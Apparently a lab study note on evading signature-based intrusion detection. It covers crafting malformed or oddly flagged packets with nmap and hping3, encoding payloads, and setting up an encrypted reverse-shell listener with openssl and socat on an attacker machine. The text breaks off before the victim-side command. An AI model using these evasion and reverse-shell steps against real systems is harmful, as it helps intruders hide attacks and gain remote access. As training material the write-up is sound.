March 20, 2021
by zjxy

Evading a signature-based IDS/IPS requires that manipulating traffic so it does not match any recognized signatures.

This will be an overview on the two following methods:

Evasion via Protocol Manipulation Evasion via Payload Manipulation Evasion via Protocol Manipulation ∙ Relying on a different protocol

Netcat

Nmap

Ncat

Nmap

Fragroute (force all packets to be fragmented into specific sizes)

∙ Sending invalid packets

Generally speaking, the response of systems to valid packets tends to be predictable. However, it can be unclear how systems would respond to invalid packets. For instance, an IDS/IPS might process an invalid packet, while the target system might ignore it. The exact behavior would require some experimentation or inside knowledge. Nmap lets you send packets with a wrong TCP/UDP checksum using the option --badsum. An incorrect checksum indicates that the original packet has been altered somewhere across its path from the sending program.

Nmap also lets you send packets with custom TCP flags, including invalid ones. The option --scanflags lets you choose which flags you want to set.

URG for Urgent ACK for Acknowledge PSH for Push RST for Reset SYN for Synchronize FIN for Finish ## hping3 (custom packet crafting) -t or -ttl to set the TIme to Live in the IP header -b or -badsum to send packets with a bad UDP/TCP checksum -S, -A, -P, -U, -F, -R to set the TCP SYN, ACK, PUSH, URG, FIN, and RST flags, respectively. Evasion via Payload Manipulation Obfuscating and encoding the payload Encoding to base64 URL encoding Using Escaped Unicode https://icyberchef.com/ Drag 'escapted unicode characters to recipe column' Put checkmark near 'Encode all chars' with a prefix of \u

  1. Generate the key
  2. Listen on the attacker's machine
  3. Connect to the attacker's machine Generating the key We can generate the key using the following command: openssl req -x509 -newkey rsa:4096 -days 365 -subj '/CN=www.redteam.thm/O=Red Team THM/C=UK' -nodes -keyout thm-reverse.key -out thm-reverse.crt The arguments in the above command are: req indicates that this is a certificate signing request. Obviously, we won't submit our certificate for signing. -x509 specifies that we want an X.509 certificate -newkey rsa:4096 creates a new certificate request and a new private key using RSA, with the key size being 4096 bits. (You can use other options for RSA key size, such as -newkey rsa:2048.) -days 365 shows that the validity of our certificate will be one year -subj sets data, such as organization and country, via the command-line. -nodes simplifies our command and does not encrypt the private key -keyout PRIVATE_KEY specifies the filename where we want to save our private key -out CERTIFICATE specifies the filename to which we want to write the certificate request This returnes a private key and a certificate

socat -d -d OPENSSL-LISTEN:4443,cert=thm-reverse.pem,verify=0,fork STDOUT

-d -d provides some debugging data (fatal, error, warning, and notice messages) OPENSSL-LISTEN:PORT_NUM indicates that the connection will be encrypted using OPENSSL cert=PEM_FILE provides the PEM file (certificate and private key) to establish the encrypted connection verify=0 disables checking peer's certificate fork creates a sub-process to handle each new connection. Connecting On the victim system use the following command